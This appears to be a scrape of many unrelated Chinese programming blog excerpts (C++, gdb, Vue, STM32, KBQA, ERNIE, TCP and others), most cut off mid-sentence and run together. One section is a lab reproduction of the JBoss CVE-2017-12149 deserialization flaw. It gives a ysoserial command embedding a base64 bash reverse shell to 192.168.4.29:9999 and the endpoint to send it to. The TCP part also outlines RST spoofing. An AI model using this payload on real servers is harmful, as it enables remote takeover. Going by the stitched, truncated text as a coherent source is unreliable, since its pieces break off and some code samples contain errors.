在使用C++多态时,如果子类中有属性开辟到堆区,那么父类指针在释放时无法调用到子类的析构代码。例如 :
#include <iostream> using namespace std; #include <string> class Animal { public: Animal() { cout << "Animal 构造函数调用!" << endl; } virtual void Speak() = 0; //析构函数加上virtual关键字,变成虚析构函数 ~Animal() { cout << "Animal虚析构函数调用!" << endl; } }; class Cat : public Animal { public: Cat(string name) { cout << "Cat构造函数调用!" << endl; m_Name = new string(name); } virtual void Speak() { cout << *m_Name << "小猫在说话!" << endl; } ~Cat() { cout << "
1.调试 (gdb) n/next // 执行一条语句,遇到hi函数调用,当作一条语句执行 (gdb) s/step // 执行一条语句,遇到函数时,进入函数 (gdb) fin/finsh // 执行完当前函数,返回到上一调用层,同时打印函数的返回值 (gdb) return <返回值> // 从当前函数当前指令处返回,返回值为指定值 (gdb) u/untile // 执行到当前语句后的一条语句,即便其为循环语句,也会直接执行完循环,并指向循环后的一条语句 (gdb) u/untile <location> // 执行到当前函数退出或到达当前函数指定的位置 (gdb) advance <location> // 执行到当前函数退出或到达当前函数或其调用函数指定的位置 (gdb) c/continue // 继续执行当前程序 (gdb) f/frame // 查看当前所在源文件及行号 (gdb) show endiam 2.停止点 2.1设置断点 // 设置普通断点: (gdb) b/breakpoint <location> <location>: (gdb) b 123 // 在当前源文件第123行打断点 (gdb) b func // 在整个可执行程序中,调用函数func处打断点 (gdb) b test.c:12 // 在源文件test.c中的第12行打断点 (gdb) b +/-10 // 基于当前源文件的当前行向下/向上偏移10行的位置设置断点 (gdb) b *0x23456 // 当程序不包含调试信息时,在代码段的指定地址处打断点,当pc运行至该指令地址处暂停 (gdb) b // 如果包含调试信息,则在当前代码处设置断点;否则,在当前指令处设置断点 // 设置条件断点: (gdb) b <location> if (expression) // 样例如下: (gdb) b test.
UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch() 解决办法: 增加catch
new Promise((resolve, reject)=>{ if(2>1) reject("foo") resolve("bar") }).catch(()=>{}) 参考
Promise的UnhandledPromiseRejectionWarning问题
foreach是一种语法糖,用来简化对可枚举元素的遍历代码。而被遍历的类通过实现IEnumerable接口和一个相关的IEnumerator枚举器来实现遍历功能。
在foreach语句中有两个限制,第一不能修改枚举成员,其次不要对集合进行删除操作。也就是如下两种方式都是错误的。
// Use "foreach" to loop an arraylist foreach( int i in arrInt ) { i++;//Can't be compiled Debug.WriteLine( i.ToString() ); } // Use "foreach" to loop an arraylist foreach( int i in arrInt ) { arrInt.Remove( i );//It will generate error in run-time Debug.WriteLine( i.ToString() ); } using System; using System.Collections; using System.Collections.Generic; using UnityEngine; public class TestForeach : MonoBehaviour { void Start() { GoTestForeach(); } private void GoTestForeach() { Debug.
1. 打开CubeMx软件,在file选项中选择“New Project”;
2.MCU选型——stm32f103C8Tx
MCU框图可以查询
3.然后点击start project,出现如下界面;
4. 在Pinout & Configuration,选择SYS,在Debug下拉框中选择Serial Wire;
5. 在System Core下选择RCC选项, 在 RCC mode and Configuration 中的 High Speed
Clock(HSE)下选择 Crystal/Ceramic Resonator;(高速外部时钟选择晶体、陶瓷谐振器)
然后点击Clock Configuration,进行主频配置,点击HSE(锁相环时钟源选择高速外部时钟),锁相环倍频选择为9倍,系统时钟选择为PLLCLK,ABP1预分频选择/2(二分频);
6. 点击顶部Project Manager,给工程起名,选择存放目录,在Toolchain/IDE中选择MDK-ARM V5;
8. 点击GENERATE CODE,生成代码。
本人认为学习一样东西,直接上手跑实验是最有效提升的方法之一。 看了那么多的理论介绍文章,抽象的说辞,最后还是似懂非懂。 所以,直接上手数据集跑实验,与理论结合,能有更深刻的了解。 同时也记录下学习KBQA的过程,也希望对同入门的同学有些帮助。 目录: 1、引言 2、数据集介绍 3、数据集本身存在的问题 4、数据集预处理及实验结果 5、KBQA整体流程 6、结束语 引言 本人最近在做KBQA相关的的工作,有些大致的了解和想法后希望能够在实验中学习更多。
目前研究的KBQA 暂时专注在简单知识库问答上:即根据一个问题,抽出一条三元组,生成Sparql语句,进而进行知识图谱查询返回答案。
最终选择了NLPCC2016KBQA数据集,基线模型采用BERT。
数据集介绍 NLPCC全称自然语言处理与中文计算会议(The Conference on Natural Language Processing and Chinese Computing),它是由中国计算机学会(CCF)主办的 CCF 中文信息技术专业委员会年度学术会议,专注于自然语言处理及中文计算领域的学术和应用创新。
此次使用的数据集来自NLPCC ICCPOL 2016 KBQA 任务集,其包含 14 609 个问答对的训练集和包含 9 870 个问答对的测试集。 并提供一个知识库,包含 6 502 738 个实体、 587 875 个属性以及 43 063 796 个 三元组。知识库文件中每行存储一个事实( fact) ,即三元组 ( 实体、属性、属性值) 。各文件统计如下:
训练集:14609 开发集:9870 知识库:43063796 知识库样例如下所示:
"希望之星"英语风采大赛|||中文名|||“希望之星”英语风采大赛 "希望之星"英语风采大赛|||主办方|||中央电视台科教节目中心 "希望之星"英语风采大赛|||别名|||"希望之星"英语风采大赛 "希望之星"英语风采大赛|||外文名|||Star of Outlook English Talent Competition "
在运行代码时,经常需要查看某数字的维度,即X.shape,当X时list时,不能查看其维度信息,所以转换如下
List转Numpy:
numpy.array(list) Numpy转List:
array.tolist()
Linux实操——远程登录以及远程文件操作 文章目录 Linux实操——远程登录以及远程文件操作1.远程登录操作1.1远程登录:XShell5 2.远程上传下载文件Xftp5 1.远程登录操作 XShell5:远程登录到linux的软件
XFtp5:用于本地和远程linux上传和下载文件
下载连接:https://pan.baidu.com/s/1-pgv4cChPPdqU_JFI5H33Q 密码6dj5
1.1远程登录:XShell5 注意:如果希望安装好XShell5就可以远程访问,linux需要开启一个sshd服务,端口号为22
XShell5安装以及使用配置
XShell5安装,傻瓜式安装
配置
以下是对虚拟机上的linux系统远程登录的操作
1.查看linux的ip地址
2.XShell5新建会话,并做如下配置
3.连接并输入linux中用户的名称和密码,即可连接到linux
可使用root登录
登录后就可以使用指令来操作
断开连接命令:exit
2.远程上传下载文件Xftp5 1.XFtp5是一个基于windows平台的功能强大的SFTP、FTP文件传输软件。使用XFTp以后,windows用户能安全的在UNIX/LInux和windows PC直接传输文件
2.Xftp5软件的安装配置使用
下载后傻瓜式安装
Xftp5配置和使用
连接
连接到linux后:
解决乱码:
<div v-for="(item,index) in commonFun" :key="index" style="width: 20%" @click="jumpToPage(item.uri)"> <img v-if="item.iconPath" style="border:2px dashed rgb(51 51 51 / 41%)" :src="require(`@/assets/images/sxyhFunIcon/${item.iconPath}.svg`)" alt=""/> <img v-else style="border:2px dashed rgb(51 51 51 / 41%)" src="@/assets/images/sxyhFunIcon/commonIcon.svg" alt=""/> <div>{{item.name}}</div> </div>
安装pip install mysqlclient时,报错,如下图:
当时以为重点是 ERROR: Could not find a version that satisfies the requirement mysqlclient xxx,搜遍互联网没找到解决方案。
然后看到有一句:OSError: mysql_config not found,这说明是 mysql_config的问题,于是我输入了一下 mysql_config,如下图:
图没截全,给出解决方案了,输入:sudo apt install libmysqlclient-dev,这时候再输入 mysql_config
现在回到开始,安装 pip install mysqlclient
齐活。
consumer.registerMessageListener(new MessageListenerOrderly() { @Override public ConsumeOrderlyStatus consumeMessage(List<MessageExt> msgs, ConsumeOrderlyContext context) { for (MessageExt msg : msgs) { System.out.println(new String(msg.getBody())+" Thread:"+Thread.currentThread()+" QueueID:"+msg.getQueueId()); } return ConsumeOrderlyStatus.SUCCESS; } }); 在使用MessageListenerOrderly()时,发现只有当consumer第一次启动时使用了单线程去顺序消费
,但随后就不再使用单线程,这和源码注释是相悖的(One queue by one thread)
顺序消息测试15 Thread:Thread[ConsumeMessageThread_1,5,main] QueueID:1
顺序消息测试16 Thread:Thread[ConsumeMessageThread_1,5,main] QueueID:1
顺序消息测试17 Thread:Thread[ConsumeMessageThread_1,5,main] QueueID:1
顺序消息测试18 Thread:Thread[ConsumeMessageThread_1,5,main] QueueID:1
顺序消息测试19 Thread:Thread[ConsumeMessageThread_1,5,main] QueueID:1
顺序消息测试0 Thread:Thread[ConsumeMessageThread_2,5,main] QueueID:1
顺序消息测试1 Thread:Thread[ConsumeMessageThread_3,5,main] QueueID:1
顺序消息测试2 Thread:Thread[ConsumeMessageThread_4,5,main] QueueID:1
顺序消息测试3 Thread:Thread[ConsumeMessageThread_5,5,main] QueueID:1
顺序消息测试4 Thread:Thread[ConsumeMessageThread_6,5,main] QueueID:1
顺序消息测试5 Thread:Thread[ConsumeMessageThread_7,5,main] QueueID:1
在百度后,在RocketMQ的顺序消息(顺序消费)文章中得到了答案
实际上,每一个消费者的的消费端都是采用线程池实现多线程消费的模式,即消费端是多线程消费。虽然MessageListenerOrderly被称为有序消费模式,但是仍然是使用的线程池去消费消息。
MessageListenerConcurrently是拉取到新消息之后就提交到线程池去消费,而MessageListenerOrderly则是通过加分布式锁和本地锁保证同时只有一条线程去消费一个队列上的数据。
MessageListenerOrderly的加锁机制:
× Error: Grub-UEFI error... "file `/grub/x86_64-efi/normal.mod` not found" 原因分析解决方案建议 原因分析 出现上面的问题,是因为 /grub/x86_64-efi/normal.mod 文件被存储在了其他的硬盘分区中,导致启动Linux 系统的时候找不到设置的启动文件。(我的电脑是由于对C盘应用进行迁移时,不小心把Linux系统的挂载文件迁移了,因此导致了此问题)
解决方案 1、Grub 命令
rescue模式下可使用的命令有:set,ls,insmod,root,prefix
set:设置 cmdpath、prefix、root 路径
ls:查看 gpt分区列表
2、使用 ls 查看 gpt 分区
grub rescue> ls 执行结果,如图所示: 3、使用 ls 查看每个 gpt 分区中是否存在 grub 文件夹
grub rescue> ls (hd0,gpt11)/grub error: unknown filesystem grub rescue>ls (hd0,gpt10)/grub error: file '/grub' not found grub rescue>ls (hd0,gpt9)/grub ... grub rescue>ls (hd0,gpt8)/grub ./ ../ x86_64-efi grubeny ... 直到找到 如上所示的 x86_64-efi 为止,如图所示:
1.尺寸大小设置
设置宽高需要把尺寸改为最小给el-button加size=“mini” 就可以设置宽高了width height
2.背景颜色 ( 默然样色类型 type=“primary” )
(1) 想要改变背景颜色 style="background: #fb435f" 就出现背景颜色 ,但是本身有默认颜色边框他的primary
el-button外面div加个名 .bg_btn >>> .el-button--primary { border: none; } 加这个就可以去掉默认边框
(2) 加背景颜色方法:
.bg_btn button { width: 41px; height: 18px; background: #fb435f; } .bg_btnbutton:first-child { background: #0cc87e; } 3.字体大小
.bg_btn span { position: relative; bottom: 5px; right: 5.2px; } 有默认边框
去掉后
4.去掉圆角度,加这个样式.el-button–mini这个class名在f12审查元素可查看
.bg_btn .el-button--mini { border-radius: inherit; } 去掉前
去掉后
5.源码
<div class="bg_btn"> <el-button size="mini" type="primary" @click="
当一个数组中大部分元素为0,或者为同一值的数组时,可以使用稀疏数组来保存该数组。
下面是稀疏数组的存储规则
代码实现:
//创建一个二维数组 //并建立变量num存储非零值的个数 int[][] chessArr = new int[11][11]; chessArr[1][2] = 1; chessArr[2][3] = 2; int num = 0; for (int[] row : chessArr) { for (int i : row) { System.out.printf("%d\t", i); if (i != 0) { num++; } } System.out.println(); } //建立稀疏数组 int[][] sparseArray = new int[num + 1][3]; sparseArray[0][0] = 11; sparseArray[0][1] = 11; sparseArray[0][2] = num; //遍历二维数组 存储非零数值 //sum是记录行数 int sum = 0; for (int i = 0; i < chessArr.
要求:
将指定文件夹中的所有图片一次缩小后保存,名字与原来的名字相同。
核心语句:
S=imresize(rgb,1/6,'nearest'); 整体代码:
file_path = 'F:\2018\'; % 图像文件夹路径 img_path_list = dir(strcat(file_path,'*.jpg')); %获取该文件夹中所有jpg格式的图像 img_num = length(img_path_list); %获取图像总数量 if img_num > 0 %有满足条件的图像 for j = 1:img_num %逐一读取图像 image_name = img_path_list(j).name; % 图像名 rgb = imread(strcat(file_path,image_name)); %读图像 S=imresize(rgb,1/6,'nearest'); %缩小六分之一 imwrite(S,image_name); %将缩小后的图片保存 end end
https://www.cnblogs.com/yangxiaofei/p/5123816.html
装有MSSQL的电脑
需要附加的数据库文件(*.mdf)及其日志文件(*.ldf)
1. 打开SQL Server Management Studio,并连接上数据库。右键“数据库”弹出快捷菜单,点击“附加”菜单。
2.附加数据库界面点击“添加”按钮,浏览到需要附加的数据库文件。
3.点击 附加数据库 界面的确定后,附加数据库发生报错。
错误信息为:
无法打开物理文件“***.mdf”。操作系统错误 5:“5(拒绝访问。)”。 (Microsoft SQL Server,错误: 5120)
修改待附加数据库文件的访问权限 右键需要附加的数据库文件,弹出属性对话框,选择安全标签页。
找到Authenticated Users用户名。
如未找到,进行Authenticated Users用户名的添加。
添加Authenticated Users用户名。
1.点击安全标签页的编辑按钮,而后点击添加显示选择用户或组对话框。
2.点击高级按钮而后点击该界面的立即查找,在搜索结果中显示了所有的用户和组。
3.选择Authenticated Users用户后点击确定,在 选择用户或组对话框 中便显示了Authenticated Users用户名。
4.点击确定
在安全标签页的用户组里面便显示了Authenticated Users用户。为Authenticated Users用户分配 完全控制 权限。
原文链接 1.常用方法 Map map = new HashMap(); //创建map Map iMap = new HashMap(); //添加键值对 iMap.put("狂人日记","鲁迅") //第一个参数是键,第二个参数是值 map.put("家","巴金"); //添加一个键值对,如果key已存在就覆盖,且返回被覆盖的值 map.put("朝花夕拾","冰心"); map.put("骆驼祥子","老舍"); map.put("项链","莫泊桑"); //删除数据 map.remove("家") //删除指定key的键值对,返回被删除的key关联的value,不存在返回null map.remove("家","巴金") //删除指定键值对,成功返回true map.clear() //删除map中的所有键值对 //判断大小、空 map.size() //返回map中键值对的个数 map.isEmpty() //判断map是否为空 //取值 map.get("项链") //返回指定Key所对应的value,不存在则返回null //判断某键或者值是否存在 map.containsKey("家") //判断Map中是否包含指定的Key map.containsValue("巴金") //判断Map中是否包含指定的Value Collection set = map.entrySet() //返回Map中键值对所组成的Set.集合元素是Map.Entry(Map的内部类)对象 Collection set = map.keySet() //返回Map中key的set集合 Collection list = map.values() //返回该Map里所有value组成的Collection
1.Vue3.x的expose是什么? 一个将暴露在公共组件实例上的 property 列表默认情况下,通过 r e f s 、 refs、 refs、parent 或 $root 访问到的公共实例与模板使用的组件内部实例是一样的。expose 选项将限制公共实例可以访问的 property。 好上面是vue官方的解释,现在我举个例子。
父组件
<template> <div>我是一个父组件</div> <!--HelloWorldVue 是一个子组件或者一个公共组件--> <HelloWorldVue ref="dmo" /> <button @click>更改子组件的值</button> </template> <script> import HelloWorldVue from './components/HelloWorld.vue'; export default { components:{ HelloWorldVue }, setup(){ const dmo = ref(null); const change = () => { demo.value.changeCount(); } return { demo, change } } } </script> 子组件 / 公共组件中的代码
<template> <div>在子组件中显示的数据---{{count}}</div> </template> <script> export default { setup(props, { expose }){ const count = ref(10); const changeCount = () => { count.
目录
1.简介
2.算法原理
3.实例分析
3.1 读取数据
3.2 原理推导K均值过程
3.3 自带kmeans函数求解过程
完整代码
1.简介 聚类是一个将数据集中在某些方面相似的数据成员进行分类组织的过程,聚类就是一种发现这种内在结构的技术,聚类技术经常被称为无监督学习。
K均值聚类是最著名的划分聚类算法,由于简洁和效率使得他成为所有聚类算法中最广泛使用的。给定一个数据点集合和需要的聚类数目K,K由用户指定,K均值算法根据某个距离函数反复把数据分入K个聚类中。
2.算法原理 K-means算法是典型的基于距离的聚类算法,采用距离作为相似性的评价指标,即认为两个对象的距离越近,其相似度就越大。该算法认为簇是由距离靠近的对象组成的,因此把得到紧凑且独立的簇作为最终目标。
K-mean算法步骤如下:
(1)随机选取K个样本为中⼼
(2)分别计算所有样本到随机选取的K个中⼼的距离
(3)样本离哪个中⼼近就被分到哪个中⼼
(4)计算各个中⼼样本的均值(最简单的⽅法就是求样本每个维度的平均值)作为新的中心
(5)重复(2)(3)(4)直到新的中⼼和原来的中⼼基本不变化的时候,算法结束
3.实例分析 数据来源于:统计年鉴
从数据中,我们可以看到,实际数据是被分为三类的。
3.1 读取数据 data=xlsread('D:\桌面\kmeans.xlsx') 返回:
在这里我们看到,xlsread读取数据时没有读取变量名,但序号也被加进去了,接下来我们需要将其剔除
data=data(:,2:7) 返回:
3.2 原理推导K均值过程 %% 原理推导K均值 [m,n]=size(data); %读取数据的行数与列数 cluster_num=3; %自定义分类数 cluster=data(randperm(m,cluster_num),:); epoch_max=1000;%最大次数 therad_lim=0.001;%中心变化阈值 epoch_num=0; while(epoch_num<epoch_max) epoch_num=epoch_num+1; for i=1:cluster_num distance=(data-repmat(cluster(i,:),m,1)).^2; distance1(:,i)=sqrt(sum(distance')); end [~,index_cluster]=min(distance1'); for j=1:cluster_num cluster_new(j,:)=mean(data(find(index_cluster==j),:)); end if (sqrt(sum((cluster_new-cluster).^2))>therad_lim) cluster=cluster_new; else break; end end %% 画出聚类效果 figure(2) subplot(2,1,1) a=unique(index_cluster); %找出分类出的个数 C=cell(1,length(a)); for i=1:length(a) C(1,i)={find(index_cluster==a(i))}; end for j=1:cluster_num data_get=data(C{1,j},:); scatter(data_get(:,1),data_get(:,2),100,'filled','MarkerFaceAlpha',.
安卓5.0以上7.0以下使用Termux 最近想弄点小服务玩玩,试试装个homeassistant。树莓派之类的稍微有点贵,就把目光投向了家里闲置的老旧安卓手机。本身以为安装termux之后就可以使用,结果遇到了一些小坑,百度后并没有搜到填坑方法。自己解决后,在这里做个记录。
1.安装准备 Termux支持5.0以上的安卓系统。
Termux7.3版本之后,仅支持7.0以上的安卓系统。
根据手机系统准备安装包。7.3以后的版本网上可以搜到安装方法,这里按下不表。7.3的安装包可以在百度上搜索,或者在酷安上找到。截止今日,酷安上的termux版本为7.3。
2.安装与设置 安装完termux之后,进入app,等待installing结束之后即可看到命令行界面。
此时pkg update、安装组件都会报错(403)
报错(请勿执行此操作) 搜索后更改为清华的镜像,再次运行pkg update,pkg upgrade之后,命令行报错,无法运行。此时发现清华的镜像后面有警告。
解决 sed -i 's@^\(deb.*games stable\)$@#\1\ndeb https://termux.com/game-packages-21-bin games stable@' $PREFIX/etc/apt/sources.list.d/game.list sed -i 's@^\(deb.*science stable\)$@#\1\ndeb https://termux.com/science-packages-21-bin science stable@' $PREFIX/etc/apt/sources.list.d/science.list 手动修改:
编辑 $PREFIX/etc/apt/sources.list.d/science.list 修改为如下内容
原
deb https://dl.bintray.com/grimler/science-packages-21 science stable
后
deb https://termux.com/science-packages-21-bin science stable
编辑 $PREFIX/etc/apt/sources.list.d/game.list 修改为如下内容
原
deb https://dl.bintray.com/grimler/game-packages-21 games stable
后
deb https://termux.com/game-packages-21-bin games stable
$PREFIX/etc/apt/sources.list 内容保持不变
deb https://termux.net stable main
此时执行apt update && apt upgrade发现可以正常执行。
在nlp领域中,自然语言表征模型由于可以让机器更好地理解人类语言,因此越来越受到人们的关注,其中具有代表性的就是BERT模型,它通过在大量的语料库上进行预训练的方式来实现对于文本语义的理解。简单来说,BERT先随机mask掉一些单词,然后再通过上下文预测的方式来实现语言表征,得到预训练模型后,再针对性地对预训练模型进行微调,就能完成一些nlp的下游任务。
通过分析BERT模型我们可以发现,它虽然考虑了上下文语义,但是还是缺少了一些东西,那就是知识信息。换句话说,BERT模型通过在大量语料的训练可以告诉我们一句话是否通顺,但是它却不知道这句话描述的是什么,它也许能通过训练学到上下文单词之间的一些关系,但是这样的关系还不足以构成知识。举例来说,对于“北京是中国的首都”这句话,如果把“北京”二字mask掉,BERT也许可以通过下文的字样预测正确,但是这并不意味着它理解了“北京”、“中国”和“首都”这些词之间的关系,而这些关系才是知识信息,它们在自然语言中至关重要,如果能够让模型考虑到知识信息,就能让模型不仅在字词、语法层面,还能在知识层面符合人类语言的要求,从而成为一个“有文化”的模型。
一、知识图谱 为了向语言表征模型提供知识信息,我们就需要用到知识图谱,知识图谱能够提供丰富的结构化知识事实,如果能将知识图谱引入到模型当中,就能够对模型进行增强。所以本文首先来介绍一下什么是知识图谱。
虽然知识的种类有很多,但它们基本都可以归纳为形如{实体,关系,实体}三元组的形式,例如对于“北京是中国的首都”这个知识点,就可以归纳为{中国,首都,北京}这样的形式,如下图所示,让每一个实体成为一个节点,用边代表它们之间的关系,就可以将复杂的知识构建为若干三元组,进而组成一个知识图谱。
知识图谱示例
不过仅仅是有这样抽象的图结构是不够的,我们需要知道不同实体之间量化的语义关系,这样才能够让机器去理解,而这就需要用到知识嵌入算法,其中一个代表性的算法就是TransE算法,它的基本思想很简单,就是将每一个实体和关系都表示成一个向量,比如两个实体为h和t,关系为r向量,对于一个三元组,h实体向量加上r关系向量后应该尽可能地等于t实体向量,如下图所示。算法要做的就是通过优化向量的取值,让知识图谱中的每一个三元组都尽可能满足h + r = t,这样就可以得到一个关于知识图谱的最优向量表示。
TransE算法
有了向量表示之后,对于不同实体之间的关系就变得很直观了,如果给定一个三元组中的两个向量,那么就可以通过h + r = t 来对第三个元素进行预测。可以看出,算法只需要学习出实体和关系的向量表示,这样的模型复杂度很小,而且实验表明该模型的预测效果很好,因此这是一个简单高效的算法。
二、ERNIE模型 下面介绍两种通过知识图谱来增强BERT语言表征模型的方法,有趣的是这两种增强模型都叫做ERNIE,一个是由清华和华为提出来的Enhanced Language Representation with Informative Entities,另一个是百度提出的Enhanced Representation through Knowledge Integration。
1. Enhanced Language Representation with Informative Entities
该模型利用了知识图谱中的多信息实体(informative entity)来作为外部知识改善语言表征,为了将知识信息加入到模型当中,该ERNIE模型解决了下面的两个问题:
结构化的知识编码:对于抽象的知识信息,需要将它们进行编码,这样才能够将知识用于语言表征。异质信息融合:显然,BERT预训练时对单词的编码和对知识的编码是不同的,虽然都是将其转化为向量,但是却位于不同的向量空间,因此就需要对模型进行设计,来实现对于词汇、句法和知识信息的融合。 该模型分为两个部分:抽取知识信息与训练语言模型,为了得到结构化的知识编码,模型采用了上面提到的TransE知识嵌入算法,然后再将编码后的知识信息整合到语义信息当中;为了将更好地将语义和知识信息融合起来,模型改进了BERT模型的架构,并设计了新的预训练任务,这样就可以将实现知识信息与语义信息的融合,具体的模型结构如下图所示。
ERNIE模型架构
模型的整体架构如上图(a)所示,主要由两个模块构成,文本编码器T-Encoder和知识编码器K-Encoder。对于T-Encoder,它负责获取输入token的词法和句法等语义信息,首先它需要对token embedding, segment embedding和positional embedding进行求和来获得input embedding,然后通过多层的双向Transformer编码器来实现对于语义特征的提取,这和BERT模型一致,就不再赘述了。
对于K-Encoder,它需要实现上面提到的异质信息融合,也就是将额外知识信息整合进来自底层的文本信息,这样就可以在一个统一的特征空间中表征 token 和实体的异构信息。具体如上图(b)所示,用 {w1, w2,.....wn} 来表示token序列的 embedding,用 来表示该序列中实体的embedding(由TransE得到),首先令两序列分别通过各自的multi-head self-attention层,如下所示
然后再将序列中的token与相应的实体对齐(实体与对应的首位token对齐),然后将这样的序列输入到信息融合层当中,信息融合层的计算步骤如下:
对于有对应实体的token:
对于没有对应实体的token:
其中 Wt 代表隐藏层中的权重, 是非线性激活函数。
这里说一下个人对于K-Encoder的作用理解,前面的multi-head self-attention层是让模型分别对token和对应实体进行编码,从而能够分别找到两序列内部的关系;然后将两序列对齐后输入信息融合层,使得token embedding在原有的语义信息基础上,还加入了来自于实体的知识信息,从而实现了对于BERT语言表征模型的增强。
为了能够更好地融入知识信息,需要对训练的任务进行新的设计,在BERT原有的masked language model (MLM) 和the next sentence prediction (NSP)作为预训练任务之外,该模型还额外引入了一种新的训练任务,叫做denoising entity auto-encoder (dEA),它做的就是随机 Mask 掉一些实体,并要求模型基于与实体对齐的token、从给定的实体序列中预测最有可能的实体,预测的概率分布计算公式如下所示:
前言
Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
一、 CVE-2017-12149_JBoss 5.x/6.x 反序列化漏洞
漏洞详情
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
测试环境
靶场:192.168.4.10_ubuntu
#docker-compose up -d
首次执行时会有1~3分钟时间初始化,初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。
漏洞复现
1. 编写反弹shell的命令
我们使用bash来反弹shell,但由于`Runtime.getRuntime().exec()`中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
工具:http://www.jackson-t.ca/runtime-exec-payloads.html
2. 序列化数据生成
使用[ysoserial](https://github.com/frohoff/ysoserial)来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
```
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i} " > poc.ser
```
3. 发送POC
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
成功反弹shell:
二、 CVE-2017-7504_ JBoss 4.x JBossMQ JMS 反序列化漏洞
漏洞详情
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
文章目录 实验一 制作平面体或者二次曲面体的三维物体线框模型动画前言一、实验项目要求二.理论分析或算法分析三、源代码四、运行截图 实验一 制作平面体或者二次曲面体的三维物体线框模型动画 前言 参考视频计算机图形学全套算法讲解和C++编码实现(共23讲配套源码),计算机图形学案例视频讲解以及主页相关算法。孔老师是我的代课老师,孔教授有十多年教学经验,视频课很不错,所有的源程序都基于他写的函数,并非小张写的。所有源程序都基于C+编译参考教材《计算机图形学-理论与实践项目化教程》 孔令德著,大家多多支持哇 一、实验项目要求 1.设计物体线框模型类
2.调用三维变换类将物体导入三维场景(CTestView类)中显示
3.使用鼠标或者键盘方向键,与图形进行交互
二.理论分析或算法分析 建立一个cube类绘制十二面体。结合tranform几何变换函数,使用消息响应函数OnLButtonDown、OnLButtonUp实现鼠标交互,使用OnKeyDown实现键盘交互,Ontimer函数实现图形的播放动画效果
三、源代码 实验源码很多,没有传CSDN因为小张认为源码并不是我开的,只是拿老师的程序做了一些东西,拿这个赚积分和马内未免有点!这里直接放了三套源程序供大家学习参考十二面体、正八面体、金字塔。这里也不放讲解了,孔老师的视频课讲的很清楚,大家去B站就可以看啦!
四、运行截图
报错如上图
根据代码排查是因为此处字段为空。
经过种种排查,发现不是接口返回数据的问题。在百度中查到一般会出现这种情况,Json.parse() 括号里边的值不能为空值 为空就会报错。然后测试了一下依旧报错。又发现了另一种情况
若对象的参数或数组的元素中遇到地址,地址中包括?、&这些特殊符号时,对象/数组先要通过 JSON.stringify
转化为字符串再通过encodeURIComponent编码,接收时,先通过decodeURIComponent解码再通过JSON.parse转换为JSON格式的对象/数组
改完后
数据正常显示。
什么是tcp?TCP是在IP网络层之上的传输层协议,用于提供port到port面向连接的可靠的字节流传输
port到port:IP层只管数据包从一个IP到另一个IP的传输,IP层之上的TCP层加上端口后,就是面向进程了,每个port都可以对应到用户进程。
可靠:TCP会负责维护实际上子虚乌有的连接概念,包括收包后的确认包、丢包后的重发等来保证可靠性。由于带宽和不同机器处理能力的不同,TCP要能控制流量。
字节流:TCP会把应用进程传来的字节流数据切割成许多个数据包,在网络上发送。IP包是会失去顺序或者产生重复的,TCP协议要能还原到字节流本来面目。
滑动窗口 滑动窗口:维持发送方/接收方缓冲区(缓冲区是 用来解决网络之间数据不可靠的问题,例如丢包,重复包,出错,乱序)
正常情况下,窗口(window)里包括已发送和待发送到的数据包,当已发送的包得到ack确认后,滑动窗口往后移继续将未发送的包读进缓存
丢包情况下,窗口里的数据已经存满,但是迟迟未得到第一个包的ack确认,这是就会启动超时重传(注意ack包是有顺序的,必须先接受第一个待确认的ack包)
超时重传 超时时间 RTO 一般是根据RTT(round trip time)也就是往返时间来设置的
如果 RTO小于RTT则会造成很多不必要的重传
如果RTO远大于RTT则会降低整体网络的利用率,造成TCP性能低
所以,RTO应该比RTT稍大
RTO=SRTT(两次RTT的均值)+4×RTTD(均值偏差)
拥塞控制 当超过RTO时间还没有收到ACK确认就会发生重传,重传后如果再次超过RTO时间还是没收到ACK确认,这时候会认为是网络拥堵,会引发 TCP 拥塞控制行为,使 RTO 翻倍。则第 n 次重传的 RTOn 值为:
RTOn=2^(n−1)×RTO1
快速重传 者TCP 发送方在观测到至少 dupthresh ( 通常是 3 ) 个重复 ACK,立即重传,而不必得到计时器超时,当然也可以同时发送新的数据。
RST RST是复位标志,不必等缓冲区的包都发出去(不像上面的FIN包),直接就丢弃缓存区的包发送RST包。而接收端收到RST包后,也不必发送ACK包来确认。
TCP处理程序会在自己认为的异常时刻发送RST包。例如,A向B发起连接,但B之上并未监听相应的端口,这时B操作系统上的TCP处理程序会发RST包。
又比如,AB正常建立连接了,正在通讯时,A向B发送了FIN包要求关连接,B发送ACK后,网断了,A通过若干原因放弃了这个连接(例如进程重启)。网通了后,B又开始发数据包,A收到后表示压力很大,不知道这野连接哪来的,就发了个RST包强制把连接关了,B收到后会出现connect reset by peer错误。
RST攻击:A和B服务器连接后,C伪造成A使A和B断开连接,两种方式:1.伪造成A发送一个RST包 2.伪造成A发送一个SYN连接请求包
网络中校验和比较 2015年10月14日
本文说明了网卡,IP层,TCP层,UDP层的校验和功能,以及异同点。
网卡校验和
高级的网卡(e1000e等千M网卡)的接收,发送的校验和的计算方法是CRC32。
Refs:7.10. Checksums
http://www.intel.com/content/dam/doc/manual/pci-pci-x-family-gbe-controllers-software-dev-manual.pdf
可以使用ethtool查看网卡的校验功能,rx-checksumming是接收端的校验功能,tx-checksumming是发送端的校验功能:
